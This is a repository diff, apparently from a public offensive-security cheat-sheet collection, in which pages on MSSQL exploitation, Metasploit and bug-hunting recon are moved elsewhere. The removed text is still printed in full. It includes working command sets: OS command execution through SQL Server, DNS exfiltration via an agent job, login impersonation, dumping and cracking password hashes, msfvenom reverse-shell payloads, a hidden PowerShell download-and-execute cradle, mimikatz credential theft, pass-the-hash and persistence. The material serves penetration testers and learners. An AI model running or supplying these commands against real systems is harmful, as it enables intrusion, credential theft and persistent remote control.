* The execution takes place with privileges of the **service account**.
### Execute commands using OLE automation procedures
```ps1
Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
```
```ps1
# Enable OLE Automation
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure
# Execute commands
DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
```
```powershell
# https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.py
python3 mssqlclient.py 'host/username:password@10.10.10.10' -install -clr Microsoft.SqlServer.Proxy.dll
python3 mssqlclient.py 'host/username:password@10.10.10.10' -check -reciclador 'C:\windows\temp\reciclador.dll'
python3 mssqlclient.py 'host/username:password@10.10.10.10' -start -reciclador 'C:\windows\temp\reciclador.dll'
SQL> enable_ole
SQL> upload reciclador.dll C:\windows\temp\reciclador.dll
```
## Agent Jobs
* The execution takes place with privileges of the **SQL Server Agent service account** if a proxy account is not configured.
* :warning: Require **sysadmin** or **SQLAgentUserRole**, **SQLAgentReaderRole**, and **SQLAgentOperatorRole** roles to create a job.
### Execute commands through SQL Agent Job service
```ps1
Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell e <base64encodedscript>" -Verbose
Subsystem Options:
Subsystem CmdExec
-SubSystem PowerShell
Subsystem VBScript
Subsystem Jscript
```
```sql
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'$name=$env:COMPUTERNAME[10];nslookup "$name.redacted.burpcollaborator.net"', @retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';
-- delete
EXEC dbo.sp_delete_job @job_name = N'test_powershell_job1';
```
### List All Jobs
```ps1
SELECT job_id, [name] FROM msdb.dbo.sysjobs;
SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id
Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -Verbose
```
## External Scripts
:warning: You need to enable **external scripts**.
```sql
sp_configure 'external scripts enabled', 1;
RECONFIGURE;
```
## Python:
```ps1
Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
```
## R
```ps1
Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'
```
## Audit Checks
### Find and exploit impersonation opportunities
* Impersonate as: `EXECUTE AS LOGIN = 'sa'`
* Impersonate `dbo` with DB_OWNER
```sql
SQL> select is_member('db_owner');
SQL> execute as user = 'dbo'
SQL> SELECT is_srvrolemember('sysadmin')
```
```ps1
Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
# impersonate sa account
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug
```
## Find databases that have been configured as trustworthy
```sql
Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases
```
> The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.
```ps1
Invoke-SQLAuditPrivXpDirtree
Invoke-SQLUncPathInjection
Invoke-SQLAuditPrivXpFileexist
```
## Manual SQL Server Queries
### Query Current User & determine if the user is a sysadmin
```sql
select suser_sname()
Select system_user
select is_srvrolemember('sysadmin')
```
### Current Role
```sql
Select user
```
### Current DB
```sql
select db_name()
```
### List all tables
```sql
select table_name from information_schema.tables
```
### List all databases
```sql
select name from master..sysdatabases
```
### All Logins on Server
```sql
Select * from sys.server_principals where type_desc != 'SERVER_ROLE'
```
### All Database Users for a Database
```sql
Select * from sys.database_principals where type_desc != 'database_role';
```
### List All Sysadmins
```sql
SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1
```
### List All Database Roles
```sql
SELECT DB1.name AS DatabaseRoleName,
isnull (DB2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DB1
ON DRM.role_principal_id = DB1.principal_id
LEFT OUTER JOIN sys.database_principals AS DB2
ON DRM.member_principal_id = DB2.principal_id
WHERE DB1.type = 'R'
ORDER BY DB1.name;
```
### Effective Permissions from the Server
```sql
select * from fn_my_permissions(null, 'server');
```
### Effective Permissions from the Database
```sql
SELECT * FROM fn_dp1my_permissions(NULL, 'DATABASE');
```
### Find SQL Server Logins Which can be Impersonated for the Current Database
```sql
select distinct b.name
from sys.server_permissions a
inner join sys.server_principals b
on a.grantor_principal_id = b.principal_id
where a.permission_name = 'impersonate'
```
### Exploiting Impersonation
```sql
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'adminuser'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
```
### Exploiting Nested Impersonation
```sql
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'stduser'
SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
SELECT SYSTEM_USER
```
### MSSQL Accounts and Hashes
```sql
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
```
Then crack passwords using Hashcat : `hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force`
```ps1
131 MSSQL (2000) 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578
132 MSSQL (2005) 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
1731 MSSQL (2012, 2014) 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375
```
## References
* [PowerUpSQL Cheat Sheet & SQL Server Queries - Leo Pitt](https://medium.com/@D00MFist/powerupsql-cheat-sheet-sql-server-queries-40e1c418edc3)
* [PowerUpSQL Cheat Sheet - Scott Sutherland](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet)
* [Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017](https://blog.netspi.com/attacking-sql-server-clr-assemblies/)
* [MSSQL Agent Jobs for Command Execution - Nicholas Popovich - September 21, 2016](https://www.optiv.com/explore-optiv-insights/blog/mssql-agent-jobs-command-execution)
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/mssql-server-cheatsheet](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/)
* [Tools](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#tools)
* [Identify Instances and Databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#identifiy-instaces-and-databases)
* [Discover Local SQL Server Instances](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#discover-local-sql-server-instances)
* [Discover Domain SQL Server Instances](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#discover-domain-sql-server-instances)
* [Discover Remote SQL Server Instances](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#discover-remote-sql-instances)
* [Identify Encrypted databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#identifiy-encrypted-databases)
* [Version Query](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#version-query)
* [Identify Sensitive Information](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#identify-sensitive-information)
* [Get Tables from a Specific Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#get-tables-from-specific-databases)
* [Gather 5 Entries from Each Column](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-5-entries-from-each-column)
* [Gather 5 Entries from a Specific Table](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-5-entries-from-a-specific-table)
* [Dump common information from server to files](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#dump-common-information-from-server-to-files)
* [Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#linked-database)
* [Find Trusted Link](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-trusted-link)
* [Execute Query Through The Link](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-query-through-the-link)
* [Crawl Links for Instances in the Domain](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#crawl-links-for-instances-in-the-domain)
* [Crawl Links for a Specific Instance](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#crawl-links-for-a-specific-instance)
* [Query Version of Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#query-version-of-linked-database)
* [Execute Procedure on Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-procedure-on-linked-database)
* [Determine Names of Linked Databases ](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#determine-names-of-linked-databases)
* [Determine All the Tables Names from a Selected Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#determine-all-the-tables-names-from-a-selected-linked-database)
* [Gather the Top 5 Columns from a Selected Linked Table](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-the-top-5-columns-from-a-selected-linked-table)
* [Gather Entries from a Selected Linked Column](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-entries-from-a-selected-linked-column)
* [Command Execution via xp_cmdshell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#command-execution-via-xp_cmdshell)
* [Extended Stored Procedure](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#extended-stored-procedure)
* [Add the extended stored procedure and list extended stored procedures](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#add-the-extended-stored-procedure-and-list-extended-stored-procedures)
* [CLR Assemblies](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#clr-assemblies)
* [Execute commands using CLR assembly](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-using-clr-assembly)
* [Manually creating a CLR DLL and importing it](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#manually-creating-a-clr-dll-and-importing-it)
* [OLE Automation](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#ole-automation)
* [Execute commands using OLE automation procedures](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-using-ole-automation-procedures)
* [Agent Jobs](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#agent-jobs)
* [Execute commands through SQL Agent Job service](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-through-sql-agent-job-service)
* [List All Jobs](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-jobs)
* [External Scripts](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#external-scripts)
* [Python](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#python)
* [R](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#r)
* [Audit Checks](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#audit-checks)
* [Find and exploit impersonation opportunities](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-and-exploit-impersonation-opportunities)
* [Find databases that have been configured as trustworthy](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-databases-that-have-been-configured-as-trustworthy)
* [Manual SQL Server Queries](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#manual-sql-server-queries)
* [Query Current User & determine if the user is a sysadmin](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#query-current-user--determine-if-the-user-is-a-sysadmin)
* [Current Role](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#current-role)
* [Current DB](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#current-db)
* [List all tables](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-tables)
* [List all databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-databases)
* [All Logins on Server](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#all-logins-on-server)
* [All Database Users for a Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#all-database-users-for-a-database)
* [List All Sysadmins](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-sysadmins)
* [List All Database Roles](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-database-role)
* [Effective Permissions from the Server](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#effective-permissions-from-the-server)
* [Effective Permissions from the Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#effective-permissions-from-the-database)
* [Find SQL Server Logins Which can be Impersonated for the Current Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-sql-server-logins-which-can-be-impersonated-for-the-current-database)
* [Exploiting Impersonation](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#exploiting-impersonation)
* [Exploiting Nested Impersonation](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#exploiting-nested-impersonation)
* [MSSQL Accounts and Hashes](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#mssql-accounts-and-hashes)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#references)

View File

@ -1,234 +1,23 @@
# Metasploit
## Summary
:warning: Content of this page has been moved to [InternalAllTheThings/command-control/metasploit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/)
* [Installation](#installation)
* [Sessions](#sessions)
* [Background handler](#background-handler)
* [Meterpreter - Basic](#meterpreter---basic)
* [Generate a meterpreter](#generate-a-meterpreter)
* [Meterpreter Webdelivery](#meterpreter-webdelivery)
* [Get System](#get-system)
* [Persistence Startup](#persistence-startup)
* [Network Monitoring](#network-monitoring)
* [Portforward](#portforward)
* [Upload / Download](#upload---download)
* [Execute from Memory](#execute-from-memory)
* [Mimikatz](#mimikatz)
* [Pass the Hash - PSExec](#pass-the-hash---psexec)
* [Use SOCKS Proxy](#use-socks-proxy)
* [Scripting Metasploit](#scripting-metasploit)
* [Multiple transports](#multiple-transports)
* [Best of - Exploits](#best-of---exploits)
* [References](#references)
## Installation
```powershell
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
```
## Sessions
```powershell
CTRL+Z -> Session in Background
sessions -> List sessions
sessions -i session_number -> Interact with Session with id
sessions -u session_number -> Upgrade session to a meterpreter
sessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false-> Upgrade session to a meterpreter
sessions -c cmd -> Execute a command on several sessions
sessions -i 10-20 -c "id" -> Execute a command on several sessions
```
## Background handler
ExitOnSession : the handler will not exit if the meterpreter dies.
```powershell
screen -dRR
sudo msfconsole
use exploit/multi/handler
set PAYLOAD generic/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
generate -o /tmp/meterpreter.exe -f exe
to_handler
[ctrl+a] + [d]
```
## Meterpreter - Basic
### Generate a meterpreter
```powershell
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl
```
### Meterpreter Webdelivery
Set up a Powershell web delivery listening on port 8080.
```powershell
use exploit/multi/script/web_delivery
set TARGET 2
set payload windows/x64/meterpreter/reverse_http
set LHOST 10.0.0.1
set LPORT 4444
run
```
```powershell
powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $g.downloadstring('http://10.0.0.1:8080/rYDPPB');
```
### Get System
```powershell
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
### Persistence Startup
```powershell
OPTIONS:
-A Automatically start a matching exploit/multi/handler to connect to the agent
-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval in seconds between each connection attempt
-p <opt> The port on which the system running Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back
meterpreter > run persistence -U -p 4242
```
### Network Monitoring
```powershell
# list interfaces
run packetrecorder -li
# record interface n°1
run packetrecorder -i 1
```
### Portforward
```powershell
portfwd add -l 7777 -r 172.17.0.2 -p 3006
```
### Upload / Download
```powershell
upload /path/in/hdd/payload.exe exploit.exe
download /path/in/victim
```
### Execute from Memory
```powershell
execute -H -i -c -m -d calc.exe -f /root/wce.exe -a -w
```
### Mimikatz
```powershell
load mimikatz
mimikatz_command -f version
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::wdigest
mimikatz_command -f sekurlsa::searchPasswords
mimikatz_command -f sekurlsa::logonPasswords full
```
```powershell
load kiwi
creds_all
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
```
### Pass the Hash - PSExec
```powershell
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > exploit
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass 598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf no The password for the specified username
SMBUser Lambda no The username to authenticate as
```
### Use SOCKS Proxy
```powershell
setg Proxies socks4:127.0.0.1:1080
```
## Scripting Metasploit
Using a `.rc file`, write the commands to execute, then run `msfconsole -r ./file.rc`.
Here is a simple example to script the deployment of a handler an create an Office doc with macro.
```powershell
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 4646
set ExitOnSession false
exploit -j -z
use exploit/multi/fileformat/office_word_macro
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.10.14.22
set LPORT 4646
exploit
```
## Multiple transports
```powershell
msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port> sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe
```
Then, in AddTransports.ps1
```powershell
Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30
Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 30
```
## Best of - Exploits
* MS17-10 Eternal Blue - `exploit/windows/smb/ms17_010_eternalblue`
* MS08_67 - `exploit/windows/smb/ms08_067_netapi`
## References
* [Multiple transports in a meterpreter payload - ionize](https://ionize.com.au/multiple-transports-in-a-meterpreter-payload/)
* [Creating Metasploit Payloads - Peleus](https://netsec.ws/?p=331)
* [Installation](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#installation)
* [Sessions](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#sessions)
* [Background handler](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#background-handler)
* [Meterpreter - Basic](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#meterpreter---basic)
* [Generate a meterpreter](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#generate-a-meterpreter)
* [Meterpreter Webdelivery](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#meterpreter-webdelivery)
* [Get System](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#get-system)
* [Persistence Startup](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#persistence-startup)
* [Network Monitoring](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#network-monitoring)
* [Portforward](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#portforward)
* [Upload / Download](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#upload---download)
* [Execute from Memory](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#execute-from-memory)
* [Mimikatz](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#mimikatz)
* [Pass the Hash - PSExec](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#pass-the-hash---psexec)
* [Use SOCKS Proxy](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#use-socks-proxy)
* [Scripting Metasploit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#scripting-metasploit)
* [Multiple transports](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#multiple-transports)
* [Best of - Exploits](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#best-of---exploits)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#references)

View File

@ -1,149 +1,17 @@
# Bug Hunting Methodology and Enumeration
:warning: Content of this page has been moved to [InternalAllTheThings/methodology/bug-hunting-methodology](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/)
## Summary
* [Passive Recon](#passive-recon)
* [Passive Recon](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#passive-recon)
* Shodan
* Wayback Machine
* The Harvester
* Github OSINT
* [Active Recon](#active-recon)
* [Network discovery](#network-discovery)
* [Web discovery](#web-discovery)
* [Active Recon](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#active-recon)
* [Network discovery](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#network-discovery)
* [Web discovery](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#web-discovery)
* [Web Vulnerabilities](#looking-for-web-vulnerabilities)
## Passive recon
* Using [Shodan](https://www.shodan.io/) to detect similar app
```bash
can be integrated with nmap (https://github.com/glennzw/shodan-hq-nse)
nmap --script shodan-hq.nse --script-args 'apikey=<yourShodanAPIKey>,target=<hackme>'
```
* Using [The Wayback Machine](https://archive.org/web/) to detect forgotten endpoints
```bash
look for JS files, old links
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=<targetDomain.com>&output=text&fl=original&collapse=urlkey&matchType=prefix"
```
* Using [The Harvester](https://github.com/laramies/theHarvester)
```python
python theHarvester.py -b all -d domain.com
```
* Look for private information in [GitHub]() repos with [GitRob](https://github.com/michenriksen/gitrob.git)
```bash
gitrob analyze johndoe --site=https://github.acme.com --endpoint=https://github.acme.com/api/v3 --access-tokens=token1,token2
```
* Perform Google Dorks search
## Active recon
### Network discovery
* Subdomains enumeration
* Enumerate already found subdomains: [projectdiscovery/subfinder](https://github.com/projectdiscovery/subfinder): `subfinder -d hackerone.com`
* Permutate subdomains: [infosec-au/altdns](https://github.com/infosec-au/altdns)
* Bruteforce subdomains: [Josue87/gotator](https://github.com/Josue87/gotator)
* Subdomain takeovers: [EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)
* Network discovery
* Scan IP ranges with `nmap`, [robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) and [projectdiscovery/naabu](https://github.com/projectdiscovery/naabu)
* Discover services, version and banners
* Review latest acquisitions
* ASN enumeration
* [projectdiscovery/asnmap](https://github.com/projectdiscovery/asnmap): `asnmap -a AS45596 -silent`
* DNS Zone Transfer
```ps1
host -t ns domain.local
domain.local name server master.domain.local.
host master.domain.local
master.domain.local has address 192.168.1.1
dig axfr domain.local @192.168.1.1
```
### Web discovery
* Locate `robots.txt`, `security.txt`, `sitemap.xml` files
* Retrieve comments in source code
* Discover URL: [tomnomnom/waybackurls](github.com/tomnomnom/waybackurls)
* Search for `hidden` parameters: [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner)
* List all the subdirectories and files with `gobuster` or `ffuf`
```ps1
# gobuster -w wordlist -u URL -t threads
./gobuster -u http://example.com/ -w words.txt -t 10
```
* Find backup files with [mazen160/bfac](https://github.com/mazen160/bfac)
```bash
bfac --url http://example.com/test.php --level 4
bfac --list testing_list.txt
```
* Map technologies: Web service enumeration using [projectdiscovery/httpx](https://github.com/projectdiscovery/httpx) or Wappalyzer
* Gather favicon hash, JARM fingerprint, ASN, status code, services and technologies (Github Pages, Cloudflare, Ruby, Nginx,...)
* Take screenshots for every websites using [sensepost/gowitness](https://github.com/sensepost/gowitness)
* Automated vulnerability scanners
* [projectdiscovery/nuclei](https://github.com/projectdiscovery/nuclei): `nuclei -u https://example.com`
* [Burp Suite's web vulnerability scanner](https://portswigger.net/burp/vulnerability-scanner)
* [sullo/nikto](https://github.com/sullo/nikto): `./nikto.pl -h http://www.example.com`
* Manual Testing: Explore the website with a proxy:
* [Caido - A lightweight web security auditing toolkit](https://caido.io/)
* [ZAP - OWASP Zed Attack Proxy](https://www.zaproxy.org/)
* [Burp Suite - Community Edition](https://portswigger.net/burp/communitydownload)
## Looking for Web vulnerabilities
* Explore the website and look for vulnerabilities listed in this repository: SQL injection, XSS, CRLF, Cookies, ....
* Test for Business Logic weaknesses
* High or negative numerical values
* Try all the features and click all the buttons
* [The Web Application Hacker's Handbook Checklist](https://gist.github.com/gbedoya/10935137) copied from http://mdsec.net/wahh/tasks.html
* Subscribe to the site and pay for the additional functionality to test
* Inspect Payment functionality - [@gwendallecoguic](https://twitter.com/gwendallecoguic/status/988138794686779392)
